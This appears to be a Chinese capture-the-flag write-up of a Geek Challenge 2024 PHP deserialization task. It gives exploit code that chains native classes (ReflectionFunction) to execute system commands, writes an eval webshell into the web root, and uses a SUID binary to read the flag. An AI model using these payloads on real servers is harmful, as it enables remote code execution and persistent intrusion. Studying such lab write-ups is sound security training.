前言
来自复现极客大挑战2024
【参考资料】PHP 原生类的利用小结 任意代码执行下的php原生类利用
极客大挑战 web week3&week4 极客大挑战2024复现
前置知识
什么时候php反序列化需要我们使用原生类呢?——当没有pop链,没有反序列化的类时,而题目又出现了反序列化中可以操控new创建实例对象时,这时候我们就需要和java一样去利用内置的类,进行反序列化
[极客大挑战2024]-PHP不比Java差
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <?php highlight_file(__FILE__); error_reporting(0); include "secret.php";
class Challenge{ public $file; public function Sink() { echo "<br>!!!A GREAT STEP!!!<br>"; echo "Is there any file?<br>"; if(file_exists($this->file)){ global $FLAG; echo $FLAG; } } }
class Geek{ public $a; public $b; public function __unserialize(array $data): void { $change=$_GET["change"]; $FUNC=$change($data); $FUNC(); } }
class Syclover{ public $Where; public $IS; public $Starven; public $Girlfriend; public function __toString() // 被当作字符串时 { echo "__toString is called<br>"; $eee=new $this->Where($this->IS); $fff=$this->Starven; $eee->$fff($this->Girlfriend); } }
unserialize($_POST['data']);
|
先观察反序列化的入口
1 2 3 4 5 6
| public function __unserialize(array $data): void { $change=$_GET["change"]; $FUNC=$change($data); $FUNC(); }
|
这里有一个array_shift可以利用,作用是
- 若设置
change=array_shift
,则array_shift($data)
会提取数组$data
的第一个元素的值。
- 通过构造
$data
数组的第一个元素为phpinfo
,使得array_shift
返回phpinfo
,最终执行phpinfo()
函数。
比如:
1 2 3 4 5
| <?php $array = ["system", "onez3r0"]; $func = array_shift($array);
$func("whoami");
|
那么我们就可以构造
1 2 3 4
| $obj = new Geek(); $obj->a = "phpinfo"; $obj->b = "dummy"; serialize($obj);
|
反序列化后,$data
数组结构为:
["a" => "phpinfo", "b" => "dummy"]
这样我们就可以执行phpinfo了
1 2
| POST: data=O:4:"Geek":2:{s:1:"a";s:7:"phpinfo";s:1:"b";s:5:"dummy";} GET: ?change=array_shift
|
但是并没有什么信息,而我们想利用原生类,得走到new,也就是Syclover::__toString()
里面,但是我们并没有发现什么echo
之类的可以触发魔术方法的地方,这里实际上是可以通过数组回调的方式直接调用到__toString()方法的
当 PHP 遇到一个数组被当作函数调用(如 $array()
)时,会按以下逻辑解析:
1 2
| $callback = [$object, "methodName"]; $callback();
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php
class Challenge{ public $file; } class Syclover{ public $Where; public $IS; public $Starven; public $Girlfriend; } class Geek { public $a; public $b; }
$payload = new Syclover(); $obj = new Geek(); $obj->a = array($payload, "__toString");
echo serialize($obj);
|
这样我们就可以走到__toString了,当然也可以走到Challenge::Sink(),但是经过尝试我们发现$FLAG的内容是The True Flag is in /flag
,加上题目提示,php不比java差,显然这题预期是打php原生类的反序列化
这里采用最常用的反射类ReflectionFunction来获取任意函数,例如
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php
$obj = new ReflectionFunction("system"); $obj->invoke("whoami");
|
写马,蚁剑连
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php class Syclover{ public $Where; public $IS; public $Starven; public $Girlfriend; } class Geek { public $a; public $b; }
$payload = new Syclover(); $payload->Where = "ReflectionFunction"; $payload->IS = "system"; $payload->Starven = "invoke"; $payload->Girlfriend="echo '<?php eval(\$_POST[123]);?>' > /var/www/html/shell.php";
$obj = new Geek(); $obj->a = array($payload, "__toString");
echo serialize($obj);
|
但是/flag读不了,应该是权限问题,有hint.txt,提示
Congratulations!Now you can RCE me.But you need Privilege Escalation to read the flag
需要提权
1 2
| find / -user root -perm -4000 -print 2>/dev/null # /usr/bin/file
|
最后 file -f /flag
即可